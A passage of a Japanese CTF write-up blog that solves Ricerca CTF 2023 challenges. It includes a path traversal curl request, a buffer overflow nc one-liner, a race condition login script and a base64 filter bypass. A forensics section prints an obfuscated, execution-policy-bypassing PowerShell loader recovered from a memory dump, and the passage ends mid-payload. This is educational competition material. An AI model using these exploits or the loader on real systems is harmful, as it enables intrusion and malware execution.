        res += s[shuffle_list[order].index(i)]
    return res

for i in range(len(shuffle_list) - 1):
    res = yattemiru(i)
    if hashlib.sha256(res[:-1].encode()).hexdigest() == '19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222':
        print(res)

実行するとフラグが得られた。

$ python3 chall.py
FLAG{shuffle64}d
FLAG{shuffle64}

[Forensics 123] Just_mp4 (484 solves)

✨✨✨ Enjoy wani CTF ! ✨✨✨

Writer : Mikka

添付ファイル: for-Just-mp4.zip

謎の動画が与えられる。

Header Reader MP4に投げると、udta になんかあった。これをBase64デコードするとフラグが得られた。

FLAG{H4v1n_fun_1nn1t}

Ricerca CTF 2023 writeup

4/22に12時間という競技時間で開催された。zer0ptsで参加*1して6位だった。競技後半はより解けそうなものに時間を費やしたかったので、WebでなくReversingのtic tac toe?とRSLockerに挑んでいたものの解ききれず。Webも結局funnylfiとps converterが解けずという様子だった。悔しい*2

ほかのメンバーのwriteup:

furutsuki.hatenablog.com


競技時間中に解いた問題

[Welcome 81] welcome (166 solves)

Welcome to Ricerca CTF 2023! To find the flag for this challenge:

  1. Read the rule.
  2. Find the flag posted in #announcement channel in Discord

authored by Ricerca Security, Inc.

もちろんルールを読んだ上で、Discordの指定されたチャンネルを確認するとフラグが書かれていた。

RicSec{do_U_know_wh4t_Ricerca_means_btw?}

[Reversing 88] crackme (134 solves)

Can you crack the password?

authored by ptr-yudai

添付ファイル: crackme

x86_64のELFが与えられている。実行してみるとパスワードの入力が要求された。正解のパスワードを探し出す必要があるらしい。

$ file crackme
crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e109ac8573ee031e7432c0d27a973fb37e492c80, for GNU/Linux 3.2.0, stripped
$ ./crackme
Password: 5963
[-] Permission denied

IDA Freewareに投げてデコンパイルしてもらうと、大変きれいなCのコードが返ってくる。strcmp(_0, "N1pp0n-Ich!_s3cuR3_p45$w0rD") から、パスワードが N1pp0n-Ich!_s3cuR3_p45$w0rD であるとわかる。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // r12d
  char _0[96]; // [rsp+0h] [rbp+0h] BYREF
  int anonymous0; // [rsp+60h] [rbp+60h]
  unsigned __int64 vars68; // [rsp+68h] [rbp+68h]

  v3 = 1;
  vars68 = __readfsqword(0x28u);
  __printf_chk(1LL, "Password: ", a3);
  memset(_0, 0, sizeof(_0));
  anonymous0 = 0;
  if ( (unsigned int)__isoc99_scanf("%99s", _0) == 1 )
  {
    v3 = 1;
    if ( !strcmp(_0, "N1pp0n-Ich!_s3cuR3_p45$w0rD") )
    {
      v3 = 0;
      puts("[+] Authenticated");
      sub_1290(_0);
    }
    else
    {
      puts("[-] Permission denied");
    }
  }
  if ( __readfsqword(0x28u) != vars68 )
    start();
  return v3;
}

これを入力してみると、フラグが得られた。

$ ./crackme
Password: N1pp0n-Ich!_s3cuR3_p45$w0rD
[+] Authenticated
The flag is "RicSec{U_R_h1y0k0_cr4ck3r!}"
RicSec{U_R_h1y0k0_cr4ck3r!}

[Web 95] Cat Café (113 solves)

Which cat do you like the most?

https://cat-cafe.2023.ricercactf.com:8000

authored by ptr-yudai

添付ファイル: cat-cafe.zip

与えられたURLにアクセスすると、7匹の😻猫ちゃん😻が所属する猫カフェの情報が表示される。

猫の画像は /img?f=01.jpg のような感じで読み込まれている。ファイル名を指定しているあたり、Path Traversalできそうで怪しい。ソースコードが与えられているので確認する。このAPIに対応する部分は以下の通り。

../ が消されているので一見Path Traversalできなさそうだが、実は ..././hoge をクエリパラメータとして与えると、真ん中の ../ が消されて ../hoge という文字列になる。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

フラグの場所は Dockerfile に書かれている。

ADD ./flag.txt  ./

/home/ctf/flag.txt を取得するとフラグが得られた。

$ curl --path-as-is "http://cat-cafe.2023.ricercactf.com:8000/img?f=....//....//...//....//....//home/ctf/flag.txt"
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

本番ではトップページをまったく見ずに解いていた。すいません。

[Pwn 97] BOFSec (107 solves)

100% authentic

nc bofsec.2023.ricercactf.com 9001

authored by ptr-yudai

添付ファイル: bofsec.tar.gz

main.c というCのコードと、それをコンパイルしたx86_64のELFが与えられる。ユーザ名を要求されるが、何を投げても Authentication failed と怒られてしまう。

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8b20e650fc39b334621da16ee76a07c7491aa493, for GNU/Linux 3.2.0, not stripped
$ ./chall
Name: nemui desu
[-] Authentication failed.

main.c は以下の通り。なるほど、user.is_admin が0以外であればログインができ、フラグが得られるらしい。auth_t という構造体は、ユーザ名の直後にまさにその is_admin が配置されているというような作りになっている。もしユーザ名の入力時にバッファオーバーフローができれば、is_admin を書き換えられるので嬉しい。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

int main() {
  char flag[0x100] = {};
  auth_t user = get_auth();

  if (user.is_admin) {
    puts("[+] Authentication successful.");
    FILE *fp = fopen("/flag.txt", "r");
    if (!fp) {
      puts("[!] Cannot open '/flag.txt'");
      return 1;
    }
    fread(flag, sizeof(char), sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
    return 0;
  } else {
    puts("[-] Authentication failed.");
    return 1;
  }
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

ユーザ名の入力処理を確認する。scanf("%s", user.name) と入力時に文字数制限はないことがわかる。これを使って is_admin を書き換えたい。

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

いけた。

$ python3 -c 'print("A"*0x100+"\x01")' | nc bofsec.2023.ricercactf.com 9001
Name: [+] Authentication successful.
Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}
RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

[Web 135] tinyDB (50 solves)

It's a tiny tiny user database...

http://tinydb.2023.ricercactf.com:8888

authored by xryuseix

添付ファイル: tinydb.zip

与えられたURLにアクセスすると、いい感じのログインフォームが表示される。

適当な認証情報を入力すると、guest という grade で登録される。admin というユーザ名でも同様。

Are you an Admin? というリンクから /admin に飛ぶと、管理者向けのログインフォームが表示される。先程登録した認証情報を入力しても no flag for you :) と怒られるだけだった。

ソースコードを見ていく。db.ts を確認すると、ユーザDBはセッション単位で管理されていることがわかる。Cookieに保存されているセッションIDを消すと、最初からやり直せる。初期状態で admin というユーザが登録されているが、そのパスワードはランダムな文字列であり、推測はできない。

export function randStr() {
  return crypto.randomBytes(16).toString("hex");
}

let adminPW = randStr();

// …

export function getUserDB(session: string) {
  if (db.has(session)) {
    return db.get(session) as UserDBT;
  } else {
    const userDB = new Map<AuthT, gradeT>();
    userDB.set(
      {
        username: "admin",
        password: adminPW,
      },
      "admin"
    );
    db.set(session, userDB);
    return userDB;
  }
}

管理者向けのページである /admin だけれども、こちらはユーザDBに存在しているユーザのうち、gradeadmin となっているものの認証情報を入力することでフラグが返されるような仕組みになっているようだ。

server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);
  for (const [auth, grade] of userDB.entries()) {
    if (
      auth.username === username &&
      auth.password === password &&
      grade === "admin"
    ) {
      response
        .type("application/json")
        .send({ flag: `great! here is your flag: ${flag}` });
      return;
    }
  }
  response.type("application/json").send({ flag: "no flag for you :)" });
});

/set_user を見ていく。これは最初に見たユーザ登録用のAPIだが、これを使って登録する場合は、登録されたユーザの grade が必ず guest になることがわかる。

server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

  const res = {
    authId: auth.username,
    authPW: auth.password,
    grade: userDB.get(auth),
  };

  response.type("application/json").send(res);
});

さて、この中で気になる処理があった。ユーザDBに登録されているユーザの数が一定数を超えると、DBが初期化される。この初期化の処理が怪しく、

  1. 全ユーザを消去
  2. ***…*** という仮パスワードで管理者のアカウントを作成
  3. 2から数秒後に、randStr で管理者のパスワードを変更

というような流れになっている。2から3までの間は管理者のパスワードが ***…*** という推測が大変簡単なものになってしまっている。このタイミングを狙って管理者としてのログインを試みる。

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

Pythonでそのようなスクリプトを書く。

import requests

TARGET = 'http://tinydb.2023.ricercactf.com:8888'

sess = requests.Session()
sess.get(f'{TARGET}')

for i in range(1, 11):
    sess.post(f'{TARGET}/set_user', json={
        'username': 'a' * i,
        'password': 'a' * i
    })

r = sess.post(f'{TARGET}/get_flag', json={
    'username': 'admin',
    'password': '*' * 32
})
print(r.text)

これを実行する。フラグが得られた。

$ python3 s.py
{"flag":"great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}"}
RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

[Misc 200] gatekeeper (21 solves)

Bypass the base64 filter

nc gatekeeper.2023.ricercactf.com 10005

authored by Arata

添付ファイル: gatekeeper.tar.gz

ソースコードが与えられているが、大変シンプル。与えた文字列をBase64デコードしてくれるサービスで、もしデコードした結果が open sesame! であればフラグをくれる。ただし、与えた文字列は b3BlbiBzZXNhbWUh (これをBase64デコードすると open sesame! となる)から始まっていてはならない。

import subprocess

def base64_decode(s: str) -> bytes:
  proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
  if proc.returncode != 0:
    return ''
  return proc.stdout

if __name__ == '__main__':
  password = input('password: ')

  if password.startswith('b3BlbiBzZXNhbWUh'):
    exit(':(')

  if base64_decode(password) == b'open sesame!':
    print(open('/flag.txt', 'r').read())
  else:
    print('Wrong')

無理ゲーに見えるが、Pythonbase64 モジュールではなく、base64 というOSコマンドによってBase64デコードが行われていることに注目する。

入力文字列の頭や間に様々な文字を入れてブルートフォースしてみたり、Base64のルールから外れる適当な文字列を入力してみたりと色々試していたところ、次のように複数のBase64デコード可能な文字列を投げてやると、それらすべてがデコードされることがわかった。

$ echo "bmVrbw==bmVrbw==bmVrbw==" | base64 -d
nekonekoneko

これを利用して、o の部分と pen sesame! の部分をそれぞれ別にBase64エンコードし、その結果をつなげて投げる。フラグが得られた。

$ echo "b3==cGVuIHNlc2FtZSE=" | nc gatekeeper.2023.ricercactf.com 10005
password: RicSec{b4s364_c4n_c0nt41n_p4ddin6}

[Forensics 257] My name is Power! (12 solves)

Show me your Power!

authored by pinksawtooth

添付ファイル: memory.zip

4.5GBものWindowsのメモリダンプが与えられる。問題名からPowerShell関連の問題なのだろうなあと推測しつつVolatilityに投げて、まず windows.pstree.PsTree でプロセスのリストを取得する。やっぱりPowerShellがいますねえ。

$ vol -f memory.raw windows.pstree.PsTree
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime

4       0       System  0xd385716fa040  167     -       N/A     False   2023-04-18 08:36:15.000000      N/A
* 104   4       Registry        0xd3857187d080  4       -       N/A     False   2023-04-18 08:36:12.000000      N/A
* 1988  4       MemCompression  0xd38571736040  22      -       N/A     False   2023-04-18 08:36:19.000000      N/A
* 436   4       smss.exe        0xd38574654040  2       -       N/A     False   2023-04-18 08:36:15.000000      N/A
…
****** 6772     4384    cmd.exe 0xd3857ae980c0  2       -       1       False   2023-04-18 08:44:16.000000      N/A
******* 1460    6772    conhost.exe     0xd38579426080  6       -       1       False   2023-04-18 08:44:16.000000      N/A
******* 2068    6772    powershell.exe  0xd3857a35e080  20      -       1       False   2023-04-01 08:44:54.000000      N/A
…

windows.cmdline.CmdLine でどのようなコマンドが実行されているか確認する。どう見てもあかんやつがいる。

$ vol -f memory.raw windows.cmdline.CmdLine
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
PID     Process Args

4       System  Required memory at 0x20 is not valid (process exited?)
104     Registry        Required memory at 0x20 is not valid (process exited?)
436     smss.exe        \SystemRoot\System32\smss.exe
…
2068    powershell.exe  pOwERsHEll  -eP bYpASs -e JgAgACgAIAAkAFAAcwBIAE8AbQBlAFsANABdACsAJABwAHMASABvAE0ARQBbADMANABdACsAJwBYACcAKQAoACAATgBFAFcALQBvAEIAagBFAEMAdAAgAEkATwAuAEMATwBtAFAAcgBFAHMAcwBpAG8ATgAuAEQAZQBmAGwAYQB0AEUAUwBUAHIAZQBhAE0AKABbAHMAeQBTAHQARQBNAC4ASQBvAC4ATQBlAG0ATwBSAFkAUwB0AHIAZQBBAE0AXQAgAFsAQwBvAE4AdgBFAHIAVABdADoAOgBmAFIAbwBNAEIAQQBTAGUANgA0AFMAdABSAGkATgBnACgAJwBmAFYAZABaAGMAOQBwAEkARQBQADQAcgBVADYAbgBkAEkAQgBXAEkAUQBnAGYAWQBRAFAAawBCAFkAOQBtAFEAbQBHAE0AQgB1ACsASwBsAGUASgBEAGwAdwBTAGoARwBFAGgAYQBLAGIAVQBxAGwALwA3ADUAZgB6AHkARgBJAEgAagBaAGwATgBEADAAOQAzAFQAMwBUAGQANABmAFYAbQBjAEgAKwBlAHYAZgBUAHgAOABtAGUAVAAxAFAALwBtAHMALwA0AE8AUABUAHIAaQAyAFMALwBTAEkAZgB4AHMAMgBFAHUANwBaAHEANwBxAGwAWgArAFYASwB5AGYAawAyAGgAYwBxAFoAZwBHAC8AbgAzAEoAbgBYAGEAUgBOADQAdgBjAFAAYwBlAEMAMQBTADUAeQByADEAWABrAHoAaABsACsAKwBBAFAAbwB1AHYAZwBSAEcAcQB1AEQARgBmAFMARQBwAFYAUAB3AHUATgBpADYASAB2AGkASQBsADIAUQBBAGIAbwBMAFMAQgBvADAASABJAFkAUQBDAGsAdwAxAFUAcwB3AEUAVwB1AGcAcABvAEYAOABkAE4ARQBrAEYAQwBzAFIASQBIAEoASQBIAFoAQgBWAFUAVABGAEIANgAyAEIARQBLAEEAZwA5AFcAagBIAHcAZwA5AEMASABOAEEANQB0AEYAOQB0AEsAZQA3ADYAWABXAGcAcwAwAEYAagBnADcAVQBKADQAVgBoAHMAawB0AFkAcwB2AGwAagByAFMAagA2ADkAKwAwAHkAVAB6AFgAeABRAHgAZQAvAHoAMABWAG8AVgBVAGEANQAyAE8ARgBrAFcAagAwAFIAdwBRAFYAaQB4AHYAYQBRAGwATgA2AHQAVgBpAGUAaABlAEQANABQAE4ANAB2ADMAaAAyADAAMwBzADQAMwB0AGIAcQBWAFgAQQB5AEgAZwAvADIATwA3ADQAegBQAEwAYwAxAFMAegBZADkASgBjADEAcwAzAEUAbQBvAGEAcQByAGcAYgBPADIAQgBJAHkAUwBtAHIAWABjAEYAUQBRAE0AdQBrAFcAMwAwAFcAaQB4AC8AVgBPAGMAaABIAHgAdQBNAFgAUAAzAEUAbQAzAG4AVgBwAFkARwAyAFIAeABnAGIAZgBjAEMASwBnAEQAWgBUAHUANgBpAFEAOQBxAHYASAA3AEkAbwAvAFIAVgBpAHMANwBZAFkASABsAFUANABlAGQASABLAGkAMgBaAGUAdABQAFAAQwB6AFEAcwA3AEwAeABwADUAYwBaAFkAWABZAEIAVQA4AC8AQwBjACsAYgBHADAAcAAyAGcAYQBSAEEARABiAHEAUwBuAGwAMgB3AFkAbwBOAFYARgBMAGIAdQBkAEMAVwBYAHAATAB5AHAAKwBnADkAVQBUAGYAegBIAGoANgBiAE8AWQBTAHkAMwBHAEQATABHAGIALwBoAFAAMQBhAGQAegBtAHMAdgA2AHcALwA4AHYAZgBIAHYAMQBZADAASgBaAHYAeQBOAG8AOABrADMAYQA5AFYAMABhAGsAMgA3ADUAaQAzADcALwBoAFEAcwBVAHYATAB6AG0ATgAvAGkANAByAHEAMABOAEsAcwAxAFcARQAyAEMAQgBuADkASgAzAHUATgBoAG4AUwA3AGQAeAAwAEYASwBOADAAbgA3AEUAbAB2AEcAOQB6AGsAegBiAGYAYgBHAEwAWABZAEkAcgB1AG8AbQB6ADQASQByAEsAKwBNADMAQgBuAHUASwBBADQAdAA1ADcARQAwAFMARgB3AE0AaAA5ADQASwBzAGMAdQBEAFEANgBFAFgAYwAxAHAATQBLAG0AYwBWADMAZQBaAGMAUwBlADMATABsAFQAcQBPAGkAbQBvAEwASQA1AHYAeABHAHEANQA0AGQATABvAFcANQByADkAWABwAG4ANABZAHMANwBvAFIAawB3AEkATgA5AFEASwBiADAARgA3ACsAbQBJADYAdwBUAC8ARQBMAHgAQwBIAEQAaABrAFQAQwB5AHMAQQBiADUAZgBxAGYAOQBFADMAeABrADYAMgBUAHUAVAAzAFkAdgBTAHIAegBBAHIAdABYAGwAMQA0AHMAKwBIAFEAbgA0AEUAeQB4AFMAUwBlAEcAZgBWADQAWAAyAHoANgA4AFgAZAAvAFgAcwBVADcASAB6AFIAYgAxADgAKwBQADYAZwA0AGkAaAA2AFYAbQBzAGMAUABTAFYAaABUAEIAZABBAEcAQwB5ADYAeQBlAEoAawBkAEcASgBUAFkAdwAwAHYARAB3AHkARAB3AGEATwBNAHoARQBGAGgASQBvAEIAMABlAEQAUABJAEYAcwBuAFcAWAB5ADgASQBaAFYAcgBmAGsAaQBoAG0AMAB1AGsAbQBPADAAcwB6ADkAdABWAGcAdwB4AEgARQAxAGcAcwB1AFAAVQBGADYAMABwAFAAZwBrAHQASgAwADkANwBEAEoAOABNAFEAeABvAEsARwBEAG8AUABCAHkAVwBKAFgAaQBxADcAZwBDAGkAWgBEAFEAVgBWAHkAbQB3AFgARQBBAGcAZwBhAGkAKwAxAHcAWQBYAGUAUgBLAEYAaQBxAHQASABpAGYAVwBCAHgAKwBMAGQAQwBGAFAAcABNAGsAYQBEAHEAYwBRADEAdQBlAFAAdABqAGEAbwBxACsAMABNADIAagAzADIAeAB0AGQAdQA4AGUAUgBMAG8ANQBJAEgARgArAC8AawBtAEMAZQBpADEAcwA5AFgAaQBUAGoAMQBrAGIAbgBNADEARwA4AFMAdQBDAEUAUgA2ACsAegBrADkATQBxADAAYgB4AEUATgBvAEoAZQBJAEQAdABmAE0ARwBJADQAZQBlAFAAegBlADYAVQA5AEcAMAA3AHUARgBQAHgAdgAzAFIAagA2AHoAKwBCAHUAWgBlAEQAYgBzAHoALwAwACsAWgBZACsAKwBqAEEAUgBGADcAeQBsAFgATQB1AGYASgBTAFgAUwBLAFkASgBWAHIAdABqAHQAbwA1AGUAYgBhADMAOAA4ADYAVwBTAEYAcgBqAEYAZQBZAEQAbABXAGUAUQBiAGgAYwBQAGMAZgBEADIAVwBLAFAANgB1AFEAMQBKAGEAWgBxADIANwBhAEMAdgBJAGEAQwBEAEkAcABnAEgAdgBhADIAVQA3AEoALwBTAGoANABTAFIAcgB4AFcAVQBwAE4ATgBSADAARgAzAGEAbAAzADAAagAvAGsAaQBnAGoAYgBaAEoAMgBrAFkASwBlAFMAbwBwAFkAQgBrAG8ANwBWAHAASgBaAHQATQBnAGYAMwB2AG0AaQB1AFoAdAB4AFMAVQBCAGgAOQBsAHQAYQBEADkAUwA1AGgAcwBMADcAZQBCAE8ASgBXAFYAVQBOAGMAcwBWAGYAdABrAHMAVgBOAEkAUgA2ADAAeQBLAGUARgBWAEcAWQBYADgAMQB6AGEANABsADcAVQAxADUAbQBWAGUAUABjAG0ATQBSAGwARwBYAFQARgBwAEkAbQBkAFcATQB2AHcAWQA2AFIAZABWAFoASABGADIALwBJAHIAUQAwAHAAeQBvAEMAVgBIAE4AUABiADYAWQA4AG4AMgAvADQANwBlADMAdwBhAG0AbQB2AHEAbgBBACsANwBiAFkAUgBkAHUAaQA5ADEASABzAG8AZQBvAHEAdQBMAEYAcQBCAHIAdQB3ADYAVQBiAFcAcAArAEgATQBRAEsANwBIAEIAcQBOAFYAMABlAGcAbwAvAG0ATgBjAFAAcABlAE0AaABBADYAcABTAEIAYgA4AHIAeQB3AEsAeQBYAHAAMQB2AFIATwBoAFEAbgBJADgAbQBZAGUAYwArADUAbgBnAEwATQArAHAASQBWAGIATgBkADkAaQB0AEgAQgBJAEwAbwBVAHcAMABOAE4AVABWAGsAOABIADcAdgBkAHUAbwBqAHAAbABzAEkASgBVAGgAYQBpAEsAZwBmAG4AUABTAGUAaAB0AFoAZAAyAGUAMgAzAFkAcwA2ADEAdAB4AFcAUgBEAG4ASwB6ADMAVgBxAGwAUABZAHEAKwA5AHAAawBDAEcAbwA0AHQASQBWAGcAKwBEAEwAYQBnADEAUABYADMAbwBKAGcAdgBNAC8ANgAvAFoAUgBnAGYAWgBBADQAcQA3AGoAdwBBADIARgBGAFUASABmAHYANwA4AEoALwAyAG4AaQBLAEIAWABSAFEAdgB1AHAAZABmAGoAVABuAFIAcgBtAFcAVQBJADEASABFADMAVABXAFIAdQBEAHIARgAxAHMAZgBHADIAUgBaAE4AMQBoAE4AOQBWAGcAYQBkAFEANQBXAEkAKwBxAHcAcgAxAFoAWQBWAGkAYwBKAFUANgAvAHoAWgBPAFkAMABVAFcAMABUAEsAbQBaAEQAZwBDAFEAbQB0ADMAeABpAGYAUgBTADAAeQBMAHUAVABnAHcAVgBqAFgAWgBEAHIAWQA2AFYAdwBiAFkAeABLAE8ATQBkAEIAOQArAG0AVQBOAGkAMgBUAE8AagBmAHoASgBwADgANwBPAFkAMgByAHgAVgBQAGgATAB1AGwAbwBPAE8AbgBKAHEASQBhADgAZQBXADIAegBUAHIAdABjAGIARgBFAFgAdgBRACsAMQBOAFUASwA1AFcAUwA3AFMAKwB4ADIAVgBYAFIAVgBIAHAAUgBaAEkAOAAxAHAAUgBQADIAbAByADEAawBiADkAUQA4AFAANQBoAHIAMQBTAG4AZgByAGMANwBUAGkAMAA2AHUATgBNAHAAMQA2AFcANwBmAHQAagBzAEEAbAAzAEsAWABuAFgATABFAG0AYgBYADQAVgA4ADQAdAByAEEAMwBWAGYAKwAyAHMASwBFAG4AagBHAC8AYgB3AHEAeABhAGkAUgBKAHkAaABiAE0AYQB4AHoANQBSADMAdgB2AHoAVQBmAGQAUwAyAFMAOQBVAEsAUwAzAGQATABOAFAAWgBLAFUATwBLAGIAQwBMAGIAVgBMAEcAaQBXAHAASABkAEkARwBiADAARwBDAE4AaQA2AFcAOAA5AEwANQBLAGQAcgBXAE8AZgBLADkAKwB1AEEARgB2AFgAQwB0AEgAbQBUAGoAbwBZAHgANQBzAHMAOQBSAEwAOQBvAGcAOQArAEwAUABwAC8ARABHADYAcQBYAFcANwAyAHUARgBYAFAAcwBuAGcAbAAwAEgAbwBjAFMASwBrAE4AaQBOAEQAUQBUAFAASgBhAE8AYQBvAEUAYQBrAFoAQwBpAHoANABPAHYAOQAzAGkAWABtAGoAQgBaAE4AOABxADgAegBjADkAcgBlADgAbgBvADUARgBXAHIAbgBSAG4AbwBtAE4AZQBZACsARAB6AE0AUABhAFAASQA0ADAAdQAyAEYAUwB3AFYAQwB6AEMAawBqAFQAUAA2AEoARwBWAG4AcgBmAGkAMAA0AGYARgBrAHUARgAvAE0AYwBJADQAOQBwAEcALwBTAHQAMQBnAGkAQQA4AEIAYgArADEAOQB4ADkAOAArAEIAdQBnAFgAOQA1AFEAMQBqAEwAMwA2ADIAZABDAEMAdABMADUAMgBLAFcAQQA5AGQANABuAFMAUQBkAHAAbABXADAAdgBOADgAbwAwAEwAQQBCAFgAVAB0AEYASQArADMAUQBZAGgAWgB4AFgAVQB4AEUAcAB0AEcAVwA2AEMAMgBjAHAAMgBQAE0AYgBLAEUAMQBaAEIAYwA5AFoASAByAG0AZQBGAE0AeAB6ADAANgBNAEIAUQA1AEEAMgB2AEsAcQBGAHoAVgB3AEYAbgBqAHEAawBaADIAawBlAEcAQwBxAHAAdgBLAGEAaABsAE0AdgBNAC8AJwApACAALAAgAFsAcwBZAFMAdABFAE0ALgBJAE8ALgBjAG8AbQBQAHIAZQBzAHMAaQBvAG4ALgBjAE8AbQBwAFIAZQBTAHMASQBvAE4AbQBPAGQAZQBdADoAOgBEAGUAQwBvAG0AcAByAEUAUwBTACkAfAAlAHsAIABOAEUAVwAtAG8AQgBqAEUAQwB0ACAASQBvAC4AUwB0AFIARQBBAE0AUgBlAGEAZABFAFIAKAAgACQAXwAgACwAWwB0AEUAeAB0AC4AZQBuAEMATwBEAGkATgBnAF0AOgA6AGEAUwBDAEkASQApACAAfQAgACkALgByAGUAYQBEAHQAbwBFAE4ARAAoACkAIAA=
…

PowerShellでは -e オプションを付与することで、Base64エンコードされたPowerShellスクリプトを実行できるらしい。なるほど、先程の文字列をCyberChefでBase64デコードすると、次のようなスクリプトが出てきた。最初の部分はどうせ & iex。後半部分の文字列は、どうやらDeflateしたスクリプトBase64エンコードしたものっぽい。

& ( $PsHOme[4]+$psHoME[34]+'X')( NEW-oBjECt IO.COmPrEssioN.DeflatESTreaM([syStEM.Io.MemORYStreAM] [CoNvErT]::fRoMBASe64StRiNg('fVdZc9pIEP4rU6ndIBWIQgfYQPkBY9mQmGMBu+KleJDlwSjGEhaKbUql/75fzyFIHjZlND093T3Td4fVmcH+evfTx8meT1P/ms/4OPTri2S/SIfxs2Eu7Zq7qlZ+VKyfk2hcqZgG/n3JnXaRN4vcPceC1S5yr1Xkzhl++APouvgRGquDFfSEpVPwuNi6HviIl2QAboLSBo0HIYQCkw1UswEWugpoF8dNEkFCsRIHJIHZBVUTFB62BEKAg9WjHwg9CHNA5tF9tKe76XWgs0Fjg7UJ4VhsktYsvljrSj69+0yTzXxQxe/z0VoVUa52OFkWj0RwQVixvaQlN6tVieheD4PN4v3h203s43tbqVXAyHg/2O74zPLc1SzY9Jc1s3EmoaqrgbO2BIySmrXcFQQMukW30Wix/VOchHxuMXP3Em3nVpYG2RxgbfcCKgDZTu6iQ9qvH7Io/RVis7YYHlU4edHKi2ZetPPCzQs7Lxp5cZYXYBU8/Cc+bG0p2gaRADbqSnl2wYoNVFLbudCWXpLyp+g9UTfzHj6bOYSy3GDLGb/hP1adzmsv6w/8vfHv1Y0JZvyNo8k3a9V0ak275i37/hQsUvLzmN/i4rq0NKs1WE2CBn9J3uNhnS7dx0FKN0n7ElvG9zkzbfbGLXYIruomz4IrK+M3BnuKA4t57E0SFwMh94KscuDQ6EXc1pMKmcV3eZcSe3LlTqOimoLI5vxGq54dLoW5r9Xpn4Ys7oRkwIN9QKb0F7+mI6wT/ELxCHDhkTCysAb5fqf9E3xk62TuT3YvSrzArtXl14s+HQn4EyxSSeGfV4X2z68Xd/XsU7HzRb18+P6g4ih6VmscPSVhTBdAGCy6yeJkdGJTYw0vDwyDwaOMzEFhIoB0eDPIFsnWXy8IZVrfkihm0ukmO0sz9tVgwxHE1gsuPUF60pPgktJ097DJ8MQxoKGDoPByWJXiq7gCiZDQVVymwXEAggai+1wYXeRKFiqtHifWBx+LdCFPpMkaDqcQ1uePtjaoq+0M2j32xtdu8eRLo5IHF+/kmCei1s9XiTj1kbnM1G8SuCER6+zk9Mq0bxENoJeIDtfMGI4eePze6U9G07uFPxv3Rj6z+BuZeDbsz/0+ZY++jARF7ylXMufJSXSKYJVrtjto5eba3886WSFrjFeYDlWeQbhcPcfD2WKP6uQ1JaZq27aCvIaCDIpgHva2U7J/Sj4SRrxWUpNNR0F3al30j/kigjbZJ2kYKeSopYBko7VpJZtMgf3vmiuZtxSUBh9ltaD9S5hsL7eBOJWVUNcsVftksVNIR60yKeFVGYX81za4l7U15mVePcmMRlGXTFpImdWMvwY6RdVZHF2/IrQ0pyoCVHNPb6Y8n2/47e3wammvqnA+7bYRdui91HsoeoquLFqBruw6UbWp+HMQK7HBqNV0ego/mNcPpeMhA6pSBb8rywKyXp1vROhQnI8mYec+5ngLM+pIVbNd9itHBILoUw0NNTVk8H7vduojplsIJUhaiKgfnPSehtZd2e23Ys61txWRDnKz3VqlPYq+9pkCGo4tIVg+DLag1PX3oJgvM/6/ZRgfZA4q7jwA2FFUHfv78J/2niKBXRQvupdfjTnRrmWUI1HE3TWRuDrF1sfG2RZN1hN9VgadQ5WI+qwr1ZYVicJ